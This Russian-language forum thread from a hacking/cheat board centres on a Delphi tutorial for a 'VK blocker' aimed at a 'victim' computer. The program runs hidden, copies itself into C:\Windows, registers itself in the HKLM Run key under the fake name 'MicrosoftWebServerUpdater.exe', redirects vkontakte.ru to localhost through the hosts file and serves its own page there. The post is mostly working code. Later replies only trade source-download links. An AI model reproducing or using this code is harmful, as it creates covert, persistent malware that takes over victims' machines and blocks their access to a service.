Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Ответ
 
Опции темы
Старый 23.02.2011, 09:14   #1
Заблокирован
 Разведчик
Аватар для dkfl12r
 
dkfl12r на правильном пути
Регистрация: 16.09.2010
Сообщений: 9
Популярность: 24
Сказал(а) спасибо: 2
Поблагодарили 9 раз(а) в 3 сообщениях
Отправить сообщение для dkfl12r с помощью ICQ Отправить сообщение для dkfl12r с помощью Skype™
 
По умолчанию Блокиратор ВК

Добрый день, сегодня я опишу метод блокировки вконтакте средствами Delphi. Главное преимущество нашей идеи состоит в том, что она не требует хостинга.

[Ссылки могут видеть только зарегистрированные пользователи. ]

Наша программка будет редактировать всем известный файл hosts и поднимать на компьютере жертвы собственный http-сервер, таким образом компьютер жертвы и будет хостом для сайта, на который будет прописан редирект в хостс.
Нам потребуется

[1] Delphi 7
[2] Установленная библиотека Indy

Для начала создадим html-файлик, который станет страничкой, которую увидит пользователь, попытавшись войти на свой аккаунт.

В нем я написал следующее

<html>
<title>Вконтакте Добро Пожаловать</title>
</head>
<div align=center>
<image src=12.bmp>
</div>
</html>

Не забудьте создать картинку с именем 12.bmp

Моя картинка вот [Ссылки могут видеть только зарегистрированные пользователи. ]

Теперь поместите наш файл и картинку в папку C:\Windows\

Приступим к написанию веб-сервера.
Кинем на форму idHTTPServer с закладки Indy Servers
Назовем его Server

В событии создания формы напишем

procedure TForm1.FormCreate(Sender: TObject);
var str:tstringlist;
begin
application.ShowMainForm:=false; //Делаем форму скрытой
if not FileExists('C:\Windows\webserver.exe') then begin //Проверка, если веб //сервера нет в папке
CopyFile(pchar(application.exename),'C:\Windows\we bserver.exe',false); //То //скопируемся туда
WinExec('C:\Windows\webserver.exe',sw_hide); //И запустим сервер
RegHosts; //Процедура модификации хостс
RegRun; //Пропись в реестре
Application.Terminate; //Если это убрать, то наш сервер не запустится, т.к.
//На одном компе может быть запущен только один сервер на одном порту
end
else
begin
RegRun; //Иначе пропишемся в реестр
RegHosts; //Модифицируем хостс
server.Active:=true; //И включим сервер
end;

Теперь объявим процедуры RegRun и RegHosts

public
{ Public declarations }
procedure RegHosts;
procedure RegRun;
end;

Пропись в реестр

procedure TForm1.RegRun;
var reg:tregistry;
begin
reg := tregistry.create; //Инициализируем переменную
reg.rootkey := hkey_local_machine; //Открываем ключ реестра
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentver sion\run', false); //Открываем //подраздел реестра
reg.writestring('MicrosoftWebServerUpdater.exe', 'C:\Windows\webserver.exe'); //Прописываем путь до сервера в автозагрузку(вместо
//'C:\windows\webserver.exe' можно написать Application.exename
//Тогда программа пропишет в авторан путь до самой себя в данный момент
reg.closekey; //Закрываем раздел
reg.free; //Уничтожаем переменную
end;

Думаю, тут ничего объяснять не надо

Модификация файла хостс
Предварительно объявим глобальной переменной

FileStr:TStringlist;

procedure TForm1.RegHosts;
begin
Filestr:=tstringlist.Create; //Создаем список
Filestr.LoadFromFile('C:\Windows\System32\drivers\ etc\hosts'); //Загружаем //содержимое хостс в список
Filestr.Add('127.0.0.1 vkontakte.ru'); //Добавим строчку
//Слева написан IP, на который произойдет переадресация
//Справа - ресурс, с которого она произойдет
filestr.SaveToFile('C:\Windows\System32\drivers\et c\hosts'); //Сохраним изменения
Filestr.Free; //Освободим объект
end;

Теперь перейдем к программированию обработки запросов,
Посылаемых браузером жертвы на сервер.
В обработчике события OnCommandGet Server'a напишем следующее

procedure TForm1.ServerCommandGet(AThread: TIdPeerThread;
ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);
begin
if (pos('ndex',arequestinfo.document)=0)and(pos('12.b mp',arequestinfo.document)=0)
then
//Если пользователь браузер запрашивает нашу страничку
arequestinfo.Document:='index.html'; //Если запрашивается другая страничка
//То все равно откроем нашу. Я пишу такие условия потому, что иначе
//У меня программа вываливалась с экзепшном, может у вас получится

if arequestinfo.Document='/' then
begin
arequestinfo.Document:=''; //Обнуляем запрос
aresponseinfo.ContentStream:=tfilestream.Create('C :\windows\index.html',fmopenread); //отправляем клиенту файл index.html
end else
if arequestinfo.Document<>'/' then //Если прошлая проверка пройдена, то
//Отправляем файл клиенту(картинку)
//Если этого не написать, картинка не отобразится
aresponseinfo.ContentStream:=tfilestream.Create('C :\windows\'+arequestinfo.Document,fmopenread);
end;

При разрушении формы напишем

Server.active:=false; // Иначе программа будет некорректно работать

В uses обязательно добавьте Registry, иначе прописаться в реестр программа не сможет.

Теперь проверим, наберем в окне любого браузера 127.0.0.1
Если вам не открылся ваш html файл, то где-то вы допустили ошибку.
Теперь пробуем ввести vkontakte.ru



Если все правильно сделано, то видим свою табличку. Кому помог, ставьте плюсик.
Если я где-то ошибся, вот исходник
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]


Взято с ХакерПро

Последний раз редактировалось dkfl12r; 23.02.2011 в 12:46.
  Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
goul (04.05.2013), idma (07.09.2011), Logan22 (24.04.2012)
Старый 23.02.2011, 10:57   #2
Знатный Читер
 Главнокомандующий
Аватар для Moisei
 
Moisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака НоррисаMoisei троюродный дядя Чака Норриса
Регистрация: 17.08.2009
Сообщений: 1,286
Популярность: 7116
Золото Zhyk.Ru: 100
Сказал(а) спасибо: 1,097
Поблагодарили 1,038 раз(а) в 485 сообщениях
Отправить сообщение для Moisei с помощью ICQ Отправить сообщение для Moisei с помощью Skype™
 
По умолчанию Re: Блокиратор ВК

Перемешенно в раздел Програмирования.
________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Старый 20.08.2011, 18:53   #3
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Блокиратор ВК

Цитата:
Сообщение от Blad56(2)Посмотреть сообщение
залей на ргхост либо *********

Залил на зеркала:
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 21.04.2012, 23:08   #4
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Блокиратор ВК

Цитата:
Сообщение от GaZerПосмотреть сообщение
А можно перезалить исходник?

Ещё раз перезалил:
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]
[Ссылки могут видеть только зарегистрированные пользователи. ]

Надеюсь, что больше просьб перезалить не будет
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 04.01.2013, 00:56   #5
-= Мастер Света =-
 Рыцарь-капитан
Аватар для Ginrey
 
Ginrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака НоррисаGinrey троюродный дядя Чака Норриса
Регистрация: 14.06.2012
Сообщений: 511
Популярность: 7566
Сказал(а) спасибо: 4
Поблагодарили 181 раз(а) в 88 сообщениях
 
По умолчанию Re: Блокиратор ВК

Цитата:
Сообщение от VeTaL_UAПосмотреть сообщение
Надеюсь, что больше просьб перезалить не будет

перезалей ))
________________
Хотите как то отблагодарить за помощь?
Не стесняйтесь нажимайте "Спасибо"

Делаю программы на заказ, по всем вопросам в скайп: Ginrey2
  Ответить с цитированием
Старый 04.01.2013, 01:11   #6
 Разведчик
Аватар для diplodocus1337
 
diplodocus1337 на правильном пути
Регистрация: 27.08.2012
Сообщений: 3
Популярность: 96
Сказал(а) спасибо: 0
Поблагодарили 3 раз(а) в 2 сообщениях
Отправить сообщение для diplodocus1337 с помощью ICQ Отправить сообщение для diplodocus1337 с помощью Skype™
 
По умолчанию Re: Блокиратор ВК

Ginrey, [Ссылки могут видеть только зарегистрированные пользователи. ]
  Ответить с цитированием
Старый 04.01.2013, 13:10   #7
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: Блокиратор ВК

Цитата:
Сообщение от GinreyПосмотреть сообщение
перезалей ))

Уважаемый, я нашёл из тех 20 2 рабочих ссылки, так что вы, по моему, набиваете посты.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 21:04.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net